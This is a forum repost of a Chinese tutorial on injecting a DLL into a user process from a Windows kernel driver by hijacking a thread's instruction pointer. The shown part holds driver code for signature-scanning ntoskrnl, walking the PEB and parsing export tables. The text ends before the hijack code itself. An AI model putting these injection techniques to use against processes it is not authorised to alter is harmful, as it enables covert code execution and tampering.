驱动开发：内核RIP劫持实现DLL注入

九天猎人  金牌会员 | 2023-6-16 11:23:20 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题
楼主

主题 523|帖子 523|积分 1569

本章将探索内核级DLL模块注入实现原理，DLL模块注入在应用层中通常会使用CreateRemoteThread直接开启远程线程执行即可，驱动级别的注入有多种实现原理，而其中最简单的一种实现方式则是通过劫持EIP的方式实现，其实现原理可总结为，挂起目标进程，停止目标进程EIP的变换，在目标进程开启空间，并把相关的指令机器码和数据拷贝到里面去，然后直接修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置，执行相关代码后，然后再次跳转回来执行原始指令集。
在内核模式中实现这一过程大体可分为如下步骤；

  • 1.通过PsLookupProcessByProcessId将进程PID转为EProcess结构
  • 2.通过KeStackAttachProcess附加到目标进程
  • 3.通过GetUserModule得到当前进程中Ntdll.dll模块的基址
  • 4.通过GetModuleExport得到Ntdll.dll模块内LdrLoadDll函数基址
  • 5.通过ZwGetNextThread得到当前线程句柄
  • 6.通过PsSuspendThread暂停当前线程运行
  • 7.此时通过GetWow64Code生成特定的加载代码，并放入ZwAllocateVirtualMemory生成的内存中
  • 8.修改当前EIP的值指向newAddress内存地址
  • 7.通过PsResumeThread恢复线程执行，让其执行我们的ShellCode代码
  • 8.最后调用KeUnstackDetachProcess脱离目标进程，并释放句柄
首先需要定义一个标准头文件，并将其命名为lyshark.h其定义部分如下所示，此部分内容摘录于微软官方文档，如果需要了解结构体内的含义，请去自行查阅微软官方文档；
  1. // 署名权
  2. // right to sign one's name on a piece of work
  3. // PowerBy: LyShark
  4. // Email: me@lyshark.com
  6. #include <ntifs.h>
  7. #include <windef.h>
  8. #include <intrin.h>
  9. #include <ntimage.h>
  10. #include <ntstrsafe.h>
  12. // 线程结构体偏移值
  13. #define MAXCOUNTS 0x200
  14. #define INITIALSTACKOFFSET 0x28
  15. #define WOW64CONTEXTOFFSET 0x1488
  16. #define WOW64_SIZE_OF_80387_REGISTERS 80
  17. #define WOW64_MAXIMUM_SUPPORTED_EXTENSION 512
  19. // 导出函数
  20. NTKERNELAPI PPEB NTAPI PsGetProcessPeb(IN PEPROCESS Process);
  22. // 定义自定义函数指针
  23. typedef PVOID(NTAPI* PPsGetThreadTeb)(IN PETHREAD Thread);
  24. typedef PVOID(NTAPI* PPsGetProcessWow64Process)(_In_ PEPROCESS Process);
  25. typedef NTSTATUS(NTAPI* PPsResumeThread)(PETHREAD Thread, OUT PULONG PreviousCount);
  26. typedef NTSTATUS(NTAPI* PPsSuspendThread)(IN PETHREAD Thread, OUT PULONG PreviousSuspendCount OPTIONAL);
  27. typedef NTSTATUS(NTAPI* PZwGetNextThread)(_In_ HANDLE ProcessHandle, _In_ HANDLE ThreadHandle, _In_ ACCESS_MASK DesiredAccess, _In_ ULONG HandleAttributes, _In_ ULONG Flags, _Out_ PHANDLE NewThreadHandle);
  29. // 存放全局函数指针的变量
  30. PPsGetThreadTeb g_PsGetThreadTeb = NULL;
  31. PPsResumeThread g_PsResumeThread = NULL;
  32. PPsSuspendThread g_PsSuspendThread = NULL;
  33. PZwGetNextThread g_ZwGetNextThread = NULL;
  34. PPsGetProcessWow64Process g_PsGetProcessWow64Process = NULL;
  36. // 定义微软结构体
  37. typedef struct _PEB_LDR_DATA32
  38. {
  39.         ULONG Length;
  40.         UCHAR Initialized;
  41.         ULONG SsHandle;
  42.         LIST_ENTRY32 InLoadOrderModuleList;
  43.         LIST_ENTRY32 InMemoryOrderModuleList;
  44.         LIST_ENTRY32 InInitializationOrderModuleList;
  45. } PEB_LDR_DATA32, *PPEB_LDR_DATA32;
  47. typedef struct _PEB_LDR_DATA
  48. {
  49.         ULONG Length;
  50.         UCHAR Initialized;
  51.         PVOID SsHandle;
  52.         LIST_ENTRY InLoadOrderModuleList;
  53.         LIST_ENTRY InMemoryOrderModuleList;
  54.         LIST_ENTRY InInitializationOrderModuleList;
  55. } PEB_LDR_DATA, *PPEB_LDR_DATA;
  57. typedef struct _LDR_DATA_TABLE_ENTRY32
  58. {
  59.         LIST_ENTRY32 InLoadOrderLinks;
  60.         LIST_ENTRY32 InMemoryOrderLinks;
  61.         LIST_ENTRY32 InInitializationOrderLinks;
  62.         ULONG DllBase;
  63.         ULONG EntryPoint;
  64.         ULONG SizeOfImage;
  65.         UNICODE_STRING32 FullDllName;
  66.         UNICODE_STRING32 BaseDllName;
  67.         ULONG Flags;
  68.         USHORT LoadCount;
  69.         USHORT TlsIndex;
  70.         LIST_ENTRY32 HashLinks;
  71.         ULONG TimeDateStamp;
  72. } LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
  74. typedef struct _LDR_DATA_TABLE_ENTRY
  75. {
  76.         LIST_ENTRY InLoadOrderLinks;
  77.         LIST_ENTRY InMemoryOrderLinks;
  78.         LIST_ENTRY InInitializationOrderLinks;
  79.         PVOID DllBase;
  80.         PVOID EntryPoint;
  81.         ULONG SizeOfImage;
  82.         UNICODE_STRING FullDllName;
  83.         UNICODE_STRING BaseDllName;
  84.         ULONG Flags;
  85.         USHORT LoadCount;
  86.         USHORT TlsIndex;
  87.         LIST_ENTRY HashLinks;
  88.         ULONG TimeDateStamp;
  89. } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
  91. typedef struct _PEB32
  92. {
  93.         UCHAR InheritedAddressSpace;
  94.         UCHAR ReadImageFileExecOptions;
  95.         UCHAR BeingDebugged;
  96.         UCHAR BitField;
  97.         ULONG Mutant;
  98.         ULONG ImageBaseAddress;
  99.         ULONG Ldr;
  100.         ULONG ProcessParameters;
  101.         ULONG SubSystemData;
  102.         ULONG ProcessHeap;
  103.         ULONG FastPebLock;
  104.         ULONG AtlThunkSListPtr;
  105.         ULONG IFEOKey;
  106.         ULONG CrossProcessFlags;
  107.         ULONG UserSharedInfoPtr;
  108.         ULONG SystemReserved;
  109.         ULONG AtlThunkSListPtr32;
  110.         ULONG ApiSetMap;
  111. } PEB32, *PPEB32;
  113. typedef struct _PEB
  114. {
  115.         UCHAR InheritedAddressSpace;
  116.         UCHAR ReadImageFileExecOptions;
  117.         UCHAR BeingDebugged;
  118.         UCHAR BitField;
  119.         PVOID Mutant;
  120.         PVOID ImageBaseAddress;
  121.         PPEB_LDR_DATA Ldr;
  122.         PVOID ProcessParameters;
  123.         PVOID SubSystemData;
  124.         PVOID ProcessHeap;
  125.         PVOID FastPebLock;
  126.         PVOID AtlThunkSListPtr;
  127.         PVOID IFEOKey;
  128.         PVOID CrossProcessFlags;
  129.         PVOID KernelCallbackTable;
  130.         ULONG SystemReserved;
  131.         ULONG AtlThunkSListPtr32;
  132.         PVOID ApiSetMap;
  133. } PEB, *PPEB;
  135. typedef struct _KLDR_DATA_TABLE_ENTRY
  136. {
  137.         LIST_ENTRY InLoadOrderLinks;
  138.         PVOID ExceptionTable;
  139.         ULONG ExceptionTableSize;
  140.         PVOID GpValue;
  141.         ULONG UnKnow;
  142.         PVOID DllBase;
  143.         PVOID EntryPoint;
  144.         ULONG SizeOfImage;
  145.         UNICODE_STRING FullDllName;
  146.         UNICODE_STRING BaseDllName;
  147.         ULONG Flags;
  148.         USHORT LoadCount;
  149.         USHORT __Unused5;
  150.         PVOID SectionPointer;
  151.         ULONG CheckSum;
  152.         PVOID LoadedImports;
  153.         PVOID PatchInformation;
  154. } KLDR_DATA_TABLE_ENTRY, *PKLDR_DATA_TABLE_ENTRY;
  156. typedef struct _WOW64_FLOATING_SAVE_AREA
  157. {
  158.         DWORD ControlWord;
  159.         DWORD StatusWord;
  160.         DWORD TagWord;
  161.         DWORD ErrorOffset;
  162.         DWORD ErrorSelector;
  163.         DWORD DataOffset;
  164.         DWORD DataSelector;
  165.         BYTE RegisterArea[WOW64_SIZE_OF_80387_REGISTERS];
  166.         DWORD Cr0NpxState;
  167. } WOW64_FLOATING_SAVE_AREA;
  169. typedef struct _WOW64_CONTEXT
  170. {
  171.         DWORD padding;
  172.         DWORD ContextFlags;
  173.         DWORD Dr0;
  174.         DWORD Dr1;
  175.         DWORD Dr2;
  176.         DWORD Dr3;
  177.         DWORD Dr6;
  178.         DWORD Dr7;
  179.         WOW64_FLOATING_SAVE_AREA FloatSave;
  180.         DWORD SegGs;
  181.         DWORD SegFs;
  182.         DWORD SegEs;
  183.         DWORD SegDs;
  184.         DWORD Edi;
  185.         DWORD Esi;
  186.         DWORD Ebx;
  187.         DWORD Edx;
  188.         DWORD Ecx;
  189.         DWORD Eax;
  190.         DWORD Ebp;
  191.         DWORD Eip;
  192.         DWORD SegCs;
  193.         DWORD EFlags;
  194.         DWORD Esp;
  195.         DWORD SegSs;
  196.         BYTE ExtendedRegisters[WOW64_MAXIMUM_SUPPORTED_EXTENSION];
  197. } WOW64_CONTEXT, *PWOW64_CONTEXT;
  199. // 自定义注入结构体
  200. typedef struct _INJECT_BUFFER
  201. {
  202.         UCHAR Code[0x200];
  203.         UNICODE_STRING Path;
  204.         UNICODE_STRING32 Path32;
  205.         wchar_t Buffer[488];
  206.         PVOID ModuleHandle;
  207.         ULONG Complete;
  208.         NTSTATUS Status;
  209.         ULONG64 orgRipAddress;
  210.         ULONG64 orgRip;
  211. } INJECT_BUFFER, *PINJECT_BUFFER;
复制代码
SearchOPcode 特征码定位基址: 在注入之前我们需要通过SearchOPcode()函数动态的寻找几个关键函数的基址，以PsSuspendThread函数的寻找为例，通过WinDBG我们可以定位到该函数，该函数模块在ntoskrnl.exe中，且无法直接通过MmGetSystemRoutineAddress拿到，为了能通过代码拿到该函数的入口地址，我提取fffff804204de668到fffff804204de670位置处的特征码，由于fffff804204de668距离PsSuspendThread函数开头只有24字节，所以直接通过-24即可得到。

通过调用SearchOPcode()并传入机器码即可直接拿到PsSuspendThread的入口地址，根据上述方式我们需要分别得到PsSuspendThread，PsResumeThread这几个函数的内存基址，这些函数的具体作用如下所示；

  • PsSuspendThread() 用于暂停或者挂起线程
  • PsResumeThread() 用于恢复线程
其次还需要通过MmGetSystemRoutineAddress函数动态的得到ZwGetNextThread，PsGetThreadTeb，PsGetProcessWow64Process这几个函数的基址，这些函数的具体作用如下所示；

  • ZwGetNextThread() 用于获取下一个活动线程
  • PsGetThreadTeb() 用于获取线程TEB结构
  • PsGetProcessWow64Process() 判断当前进程是否为32位
完整代码如下所示，运行这段代码将定位到我们所需的所有内核函数的基址信息；
  1. // 署名权
  2. // right to sign one's name on a piece of work
  3. // PowerBy: LyShark
  4. // Email: me@lyshark.com
  5. #include "lyshark.h"
  7. // 内核特征码定位函数封装
  8. // 参数1：传入驱动句柄
  9. // 参数2：传入驱动模块名
  10. // 参数3：传入节表名称
  11. // 参数4：传入待搜索机器码字节数组
  12. // 参数5：传入机器码长度
  13. // 参数6：基址修正字节数
  14. PVOID SearchOPcode(PDRIVER_OBJECT pObj, PWCHAR DriverName, PCHAR sectionName, PUCHAR opCode, DWORD len, DWORD offset)
  15. {
  16.         PVOID dllBase = NULL;
  17.         UNICODE_STRING uniDriverName;
  18.         PKLDR_DATA_TABLE_ENTRY firstentry;
  20.         // 获取驱动入口
  21.         PKLDR_DATA_TABLE_ENTRY entry = (PKLDR_DATA_TABLE_ENTRY)pObj->DriverSection;
  23.         firstentry = entry;
  24.         RtlInitUnicodeString(&uniDriverName, DriverName);
  26.         // 开始遍历
  27.         while ((PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink != firstentry)
  28.         {
  29.                 if (entry->FullDllName.Buffer != 0 && entry->BaseDllName.Buffer != 0)
  30.                 {
  31.                         // 如果找到了所需模块则将其基地址返回
  32.                         if (RtlCompareUnicodeString(&uniDriverName, &(entry->BaseDllName), FALSE) == 0)
  33.                         {
  34.                                 dllBase = entry->DllBase;
  35.                                 break;
  36.                         }
  37.                 }
  38.                 entry = (PKLDR_DATA_TABLE_ENTRY)entry->InLoadOrderLinks.Flink;
  39.         }
  41.         if (dllBase)
  42.         {
  43.                 __try
  44.                 {
  45.                         // 载入模块基地址
  46.                         PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)dllBase;
  47.                         if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  48.                         {
  49.                                 return NULL;
  50.                         }
  52.                         // 得到模块NT头以及Section节头
  53.                         PIMAGE_NT_HEADERS64 pImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)dllBase + ImageDosHeader->e_lfanew);
  54.                         PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PUCHAR)pImageNtHeaders64 + sizeof(pImageNtHeaders64->Signature) + sizeof(pImageNtHeaders64->FileHeader) + pImageNtHeaders64->FileHeader.SizeOfOptionalHeader);
  56.                         PUCHAR endAddress = 0;
  57.                         PUCHAR starAddress = 0;
  59.                         // 寻找符合条件的节
  60.                         for (int i = 0; i < pImageNtHeaders64->FileHeader.NumberOfSections; i++)
  61.                         {
  62.                                 if (memcmp(sectionName, pSectionHeader->Name, strlen(sectionName) + 1) == 0)
  63.                                 {
  64.                                         starAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase;
  65.                                         endAddress = pSectionHeader->VirtualAddress + (PUCHAR)dllBase + pSectionHeader->SizeOfRawData;
  66.                                         break;
  67.                                 }
  68.                                 pSectionHeader++;
  69.                         }
  71.                         if (endAddress && starAddress)
  72.                         {
  73.                                 // 找到会开始寻找特征
  74.                                 for (; starAddress < endAddress - len - 1; starAddress++)
  75.                                 {
  76.                                         // 验证访问权限
  77.                                         if (MmIsAddressValid(starAddress))
  78.                                         {
  79.                                                 DWORD i = 0;
  80.                                                 for (; i < len; i++)
  81.                                                 {
  82.                                                         // 判断是否为通配符'*'
  83.                                                         if (opCode[i] == 0x2a)
  84.                                                         {
  85.                                                                 continue;
  86.                                                         }
  88.                                                         // 找到了一个字节则跳出
  89.                                                         if (opCode[i] != starAddress[i])
  90.                                                         {
  91.                                                                 break;
  92.                                                         }
  94.                                                 }
  95.                                                 // 找到次数完全匹配则返回地址
  96.                                                 if (i == len)
  97.                                                 {
  98.                                                         return starAddress + offset;
  99.                                                 }
  100.                                         }
  101.                                 }
  102.                         }
  103.                 }
  104.                 __except (EXCEPTION_EXECUTE_HANDLER) {}
  105.         }
  107.         return NULL;
  108. }
  110. NTSTATUS UnDriver(PDRIVER_OBJECT driver)
  111. {
  112.         return STATUS_SUCCESS;
  113. }
  115. NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
  116. {
  117.         DbgPrint("Hello LyShark.com \n");
  119.         /*
  120.         0: kd> uf PsSuspendThread
  121.         nt!PsSuspendThread:
  122.         fffff804`204de650 4889542410      mov     qword ptr [rsp+10h],rdx
  123.         fffff804`204de655 48894c2408      mov     qword ptr [rsp+8],rcx
  124.         fffff804`204de65a 53              push    rbx
  125.         fffff804`204de65b 56              push    rsi
  126.         fffff804`204de65c 57              push    rdi
  127.         fffff804`204de65d 4156            push    r14
  128.         fffff804`204de65f 4157            push    r15
  129.         fffff804`204de661 4883ec30        sub     rsp,30h
  130.         fffff804`204de665 4c8bf2          mov     r14,rdx
  131.         fffff804`204de668 488bf9          mov     rdi,rcx
  132.         fffff804`204de66b 8364242000      and     dword ptr [rsp+20h],0
  133.         fffff804`204de670 65488b342588010000 mov   rsi,qword ptr gs:[188h]
  134.         fffff804`204de679 4889742470      mov     qword ptr [rsp+70h],rsi
  135.         fffff804`204de67e 66ff8ee4010000  dec     word ptr [rsi+1E4h]
  136.         fffff804`204de685 4c8db9c8060000  lea     r15,[rcx+6C8h]
  137.         fffff804`204de68c 4c897c2478      mov     qword ptr [rsp+78h],r15
  138.         fffff804`204de691 498bcf          mov     rcx,r15
  139.         fffff804`204de694 e8c7ff95ff      call    nt!ExAcquireRundownProtection (fffff804`1fe3e660)
  140.         fffff804`204de699 84c0            test    al,al
  141.         fffff804`204de69b 0f84495a1100    je      nt!PsSuspendThread+0x115a9a (fffff804`205f40ea)  Branch
  142.         */
  143.         UCHAR SuspendOpCode[] = { 0x48, 0x8b, 0xf9, 0x83, 0x64, 0x24, 0x20, 0x00, 0x65, 0x48, 0x8b, 0x34, 0x25, 0x88, 0x01 };
  145.         /*
  146.         0: kd> uf PsResumeThread
  147.         nt!PsResumeThread:
  148.         fffff804`204c7ab0 48895c2408      mov     qword ptr [rsp+8],rbx
  149.         fffff804`204c7ab5 4889742410      mov     qword ptr [rsp+10h],rsi
  150.         fffff804`204c7aba 57              push    rdi
  151.         fffff804`204c7abb 4883ec20        sub     rsp,20h
  152.         fffff804`204c7abf 488bda          mov     rbx,rdx
  153.         fffff804`204c7ac2 488bf9          mov     rdi,rcx
  154.         fffff804`204c7ac5 e8ee4fa5ff      call    nt!KeResumeThread (fffff804`1ff1cab8)
  155.         fffff804`204c7aca 65488b142588010000 mov   rdx,qword ptr gs:[188h]
  156.         fffff804`204c7ad3 8bf0            mov     esi,eax
  157.         fffff804`204c7ad5 83f801          cmp     eax,1
  158.         fffff804`204c7ad8 7521            jne     nt!PsResumeThread+0x4b (fffff804`204c7afb)  Branch
  159.         */
  160.         UCHAR ResumeOpCode[] = { 0x48, 0x8b, 0xf9, 0xe8, 0xee, 0x4f, 0xa5, 0xff, 0x65, 0x48, 0x8b, 0x14, 0x25, 0x88 };
  162.         // 特征码检索PsSuspendThread函数基址
  163.         g_PsSuspendThread = (PPsSuspendThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", SuspendOpCode, sizeof(SuspendOpCode), -24);
  164.         DbgPrint("PsSuspendThread = %p \n", g_PsSuspendThread);
  166.         // 特征码检索PsResumeThread基址
  167.         g_PsResumeThread = (PPsResumeThread)SearchOPcode(Driver, L"ntoskrnl.exe", "PAGE", ResumeOpCode, sizeof(ResumeOpCode), -18);
  168.         DbgPrint("PsResumeThread = %p \n", g_PsResumeThread);
  170.         // 动态获取内存中的ZwGetNextThread基址
  171.         UNICODE_STRING ZwGetNextThreadString = RTL_CONSTANT_STRING(L"ZwGetNextThread");
  172.         g_ZwGetNextThread = (PZwGetNextThread)MmGetSystemRoutineAddress(&ZwGetNextThreadString);
  173.         DbgPrint("ZwGetNextThread = %p \n", g_ZwGetNextThread);
  175.         // 动态获取内存中的PsGetThreadTeb基址
  176.         UNICODE_STRING PsGetThreadTebString = RTL_CONSTANT_STRING(L"PsGetThreadTeb");
  177.         g_PsGetThreadTeb = (PPsGetThreadTeb)MmGetSystemRoutineAddress(&PsGetThreadTebString);
  178.         DbgPrint("PsGetThreadTeb = %p \n", g_PsGetThreadTeb);
  180.         // 动态获取内存中的PsGetProcessWow64Process基址
  181.         UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
  182.         g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
  183.         DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
  185.         Driver->DriverUnload = UnDriver;
  186.         return STATUS_SUCCESS;
  187. }
复制代码
编译并运行如上代码片段，则会输出我们所需函数的入口地址，输出效果图如下所示；

GetUserModule 获取模块基址: 此函数的功能是获取到当前内核下特定模块的基址，函数接收三个参数，在入口DriverEntry位置通过KeStackAttachProcess附加到进程空间内，如果是32位进程则通过PsGetProcessWow64Process得到进程的PEB结构，如果是64位则通过PsGetProcessPeb得到PEB进程环境块的目的是为了解析PLIST_ENTRY32链表，通过RtlCompareUnicodeString对比模块是否符合要求，如果符合则在此链表中取出LdrDataTableEntry32->DllBase模块基址并返回给调用者，其完整代码片段如下所示；

  • 1.通过KeStackAttachProcess附加到用户层进程空间内
  • 2.通过各种函数获取到进程PEB进程环境块
  • 3.遍历PLIST_ENTRY32链表，判断ModuleName是否所需
  • 4.获取LdrDataTableEntry32->DllBase中的模块基址
  1. // 署名权
  2. // right to sign one's name on a piece of work
  3. // PowerBy: LyShark
  4. // Email: me@lyshark.com
  6. #include "lyshark.h"
  8. // 得到当前用户进程下的模块基址
  9. // 参数1：传入用户EProcess结构
  10. // 参数2：传入模块名
  11. // 参数3：是否32位
  12. PVOID GetUserModule(IN PEPROCESS EProcess, IN PUNICODE_STRING ModuleName, IN BOOLEAN IsWow64)
  13. {
  14.         if (EProcess == NULL)
  15.                 return NULL;
  16.         __try
  17.         {
  18.                 // 执行32位
  19.                 if (IsWow64)
  20.                 {
  21.                         // 获取32位下的PEB进程环境块
  22.                         PPEB32 Peb32 = (PPEB32)g_PsGetProcessWow64Process(EProcess);
  23.                         if (Peb32 == NULL)
  24.                                 return NULL;
  26.                         if (!Peb32->Ldr)
  27.                                 return NULL;
  29.                         // 循环遍历链表 寻找模块
  30.                         for (PLIST_ENTRY32 ListEntry = (PLIST_ENTRY32)((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList.Flink;
  31.                                 ListEntry != &((PPEB_LDR_DATA32)Peb32->Ldr)->InLoadOrderModuleList;
  32.                                 ListEntry = (PLIST_ENTRY32)ListEntry->Flink)
  33.                         {
  34.                                 UNICODE_STRING UnicodeString;
  35.                                 PLDR_DATA_TABLE_ENTRY32 LdrDataTableEntry32 = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY32, InLoadOrderLinks);
  37.                                 // 初始化模块名
  38.                                 RtlUnicodeStringInit(&UnicodeString, (PWCH)LdrDataTableEntry32->BaseDllName.Buffer);
  40.                                 // 对比模块名是否符合
  41.                                 if (RtlCompareUnicodeString(&UnicodeString, ModuleName, TRUE) == 0)
  42.                                         return (PVOID)LdrDataTableEntry32->DllBase;
  43.                         }
  44.                 }
  45.                 // 执行64位
  46.                 else
  47.                 {
  48.                         // 得到64位PEB进程环境块
  49.                         PPEB Peb = PsGetProcessPeb(EProcess);
  50.                         if (!Peb)
  51.                                 return NULL;
  53.                         if (!Peb->Ldr)
  54.                                 return NULL;
  56.                         // 开始遍历模块
  57.                         for (PLIST_ENTRY ListEntry = Peb->Ldr->InLoadOrderModuleList.Flink;
  58.                                 ListEntry != &Peb->Ldr->InLoadOrderModuleList;
  59.                                 ListEntry = ListEntry->Flink)
  60.                         {
  61.                                 // 得到表头
  62.                                 PLDR_DATA_TABLE_ENTRY LdrDataTableEntry = CONTAINING_RECORD(ListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks);
  64.                                 // 判断是否是所需要的模块
  65.                                 if (RtlCompareUnicodeString(&LdrDataTableEntry->BaseDllName, ModuleName, TRUE) == 0)
  66.                                         return LdrDataTableEntry->DllBase;
  67.                         }
  68.                 }
  69.         }
  70.         __except (EXCEPTION_EXECUTE_HANDLER){}
  72.         return NULL;
  73. }
  75. NTSTATUS UnDriver(PDRIVER_OBJECT driver)
  76. {
  77.         return STATUS_SUCCESS;
  78. }
  80. NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
  81. {
  82.         DbgPrint("Hello LyShark.com \n");
  84.         // 动态获取内存中的PsGetProcessWow64Process基址
  85.         UNICODE_STRING PsGetProcessWow64ProcessString = RTL_CONSTANT_STRING(L"PsGetProcessWow64Process");
  86.         g_PsGetProcessWow64Process = (PPsGetProcessWow64Process)MmGetSystemRoutineAddress(&PsGetProcessWow64ProcessString);
  87.         DbgPrint("PsGetProcessWow64Process = %p \n", g_PsGetProcessWow64Process);
  89.         PEPROCESS pEprocess = NULL;
  90.         DWORD pid = 6084;
  92.         // 根据PID得到进程Eprocess结构
  93.         if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
  94.         {
  95.                 // 初始化结构
  96.                 UNICODE_STRING ntdllString = RTL_CONSTANT_STRING(L"Ntdll.dll");
  98.                 KAPC_STATE kApc = { 0 };
  100.                 // 附加到进程内
  101.                 KeStackAttachProcess(pEprocess, &kApc);
  103.                 // 获取NTDLL的模块基地址
  104.                 PVOID ntdll_address = GetUserModule(pEprocess, &ntdllString, TRUE);
  105.                 if (ntdll_address != NULL)
  106.                 {
  107.                         DbgPrint("[*] Ntdll Addr = %p \n", ntdll_address);
  108.                 }
  110.                 // 取消附加
  111.                 KeUnstackDetachProcess(&kApc);
  113.                 // 递减计数
  114.                 ObDereferenceObject(pEprocess);
  115.         }
  117.         Driver->DriverUnload = UnDriver;
  118.         return STATUS_SUCCESS;
  119. }
复制代码
运行如上这段程序，则会取出进程ID为6084中Ntdll.dll的模块基址，输出效果图如下所示；

GetModuleExport 取导出表函数基址: 此函数的功能是获取到当前内核下特定模块中的特定函数（内存中）基址，函数接收两个参数，在入口DriverEntry位置通过KeStackAttachProcess附加到进程空间内，通过解析IMAGE_DIRECTORY_ENTRY_EXPORT导出表取出导出函数名，此处需要注意如果函数名指针小于等于0xFFFF则说明是序号导出，如果大于0xFFFF则说明是名字导出，判断名字是否一致，如果一致则返回当前内存的ModuleBase模块基址加上pAddressOfFuncs[OrdIndex]相对偏移，从而获取到内存中的绝对地址，完整代码片段如下所示；
  1. // 署名权
  2. // right to sign one's name on a piece of work
  3. // PowerBy: LyShark
  4. // Email: me@lyshark.com
  6. #include "lyshark.h"
  8. // 根据函数名得到导出表地址
  9. // 参数1：传入模块入口地址
  10. // 参数2：传入导出函数名
  11. PVOID GetModuleExport(IN PVOID ModuleBase, IN PCCHAR FunctionName)
  12. {
  13.         PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
  14.         PIMAGE_NT_HEADERS32 ImageNtHeaders32 = NULL;
  15.         PIMAGE_NT_HEADERS64 ImageNtHeaders64 = NULL;
  16.         PIMAGE_EXPORT_DIRECTORY ImageExportDirectory = NULL;
  17.         ULONG ExportDirectorySize = 0;
  18.         ULONG_PTR FunctionAddress = 0;
  20.         if (ModuleBase == NULL)
  21.                 return NULL;
  23.         __try
  24.         {
  25.                 // 判断是否是DOS头
  26.                 if (ImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  27.                 {
  28.                         return NULL;
  29.                 }
  31.                 // 获取PE结构节NT头
  32.                 ImageNtHeaders32 = (PIMAGE_NT_HEADERS32)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
  33.                 ImageNtHeaders64 = (PIMAGE_NT_HEADERS64)((PUCHAR)ModuleBase + ImageDosHeader->e_lfanew);
  35.                 // 判断是否是64位
  36.                 if (ImageNtHeaders64->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)
  37.                 {
  38.                         // 如果是64位则执行如下
  39.                         ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
  40.                         ExportDirectorySize = ImageNtHeaders64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  41.                 }
  42.                 else
  43.                 {
  44.                         // 如果32位则执行如下
  45.                         ImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + (ULONG_PTR)ModuleBase);
  46.                         ExportDirectorySize = ImageNtHeaders32->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
  47.                 }
  49.                 // 取出导出表Index，名字，函地址等
  50.                 PUSHORT pAddressOfOrds = (PUSHORT)(ImageExportDirectory->AddressOfNameOrdinals + (ULONG_PTR)ModuleBase);
  51.                 PULONG  pAddressOfNames = (PULONG)(ImageExportDirectory->AddressOfNames + (ULONG_PTR)ModuleBase);
  52.                 PULONG  pAddressOfFuncs = (PULONG)(ImageExportDirectory->AddressOfFunctions + (ULONG_PTR)ModuleBase);
  54.                 // 循环导出表
  55.                 for (ULONG i = 0; i < ImageExportDirectory->NumberOfFunctions; ++i)
  56.                 {
  57.                         USHORT OrdIndex = 0xFFFF;
  58.                         PCHAR  pName = NULL;
  60.                         // 说明是序号导出
  61.                         if ((ULONG_PTR)FunctionName <= 0xFFFF)
  62.                         {
  63.                                 // 得到函数序号
  64.                                 OrdIndex = (USHORT)i;
  65.                         }
  66.                         // 说明是名字导出
  67.                         else if ((ULONG_PTR)FunctionName > 0xFFFF && i < ImageExportDirectory->NumberOfNames)
  68.                         {
  69.                                 // 得到函数名
  70.                                 pName = (PCHAR)(pAddressOfNames[i] + (ULONG_PTR)ModuleBase);
  71.                                 OrdIndex = pAddressOfOrds[i];
  72.                         }
  74.                         else
  75.                                 return NULL;
  77.                         // 判断函数名是否符合
  78.                         if (((ULONG_PTR)FunctionName <= 0xFFFF && (USHORT)((ULONG_PTR)FunctionName) == OrdIndex + ImageExportDirectory->Base) ||
  79.                                 ((ULONG_PTR)FunctionName > 0xFFFF && strcmp(pName, FunctionName) == 0))
  80.                         {
  81.                                 // 得到完整地址
  82.                                 FunctionAddress = pAddressOfFuncs[OrdIndex] + (ULONG_PTR)ModuleBase;
  83.                                 break;
  84.                         }
  85.                 }
  86.         }
  87.         __except (EXCEPTION_EXECUTE_HANDLER){}
  89.         return (PVOID)FunctionAddress;
  90. }
  92. NTSTATUS UnDriver(PDRIVER_OBJECT driver)
  93. {
  94.         return STATUS_SUCCESS;
  95. }
  97. NTSTATUS DriverEntry(IN PDRIVER_OBJECT Driver, PUNICODE_STRING RegistryPath)
  98. {
  99.         DbgPrint("Hello LyShark.com \n");
  101.         PEPROCESS pEprocess = NULL;
  102.         DWORD pid = 6084;
  104.         // 根据PID得到进程Eprocess结构
  105.         if (NT_SUCCESS(PsLookupProcessByProcessId((HANDLE)pid, &pEprocess)))
  106.         {
  107.                 KAPC_STATE kApc = { 0 };
  109.                 // ntdll.dll模块基址
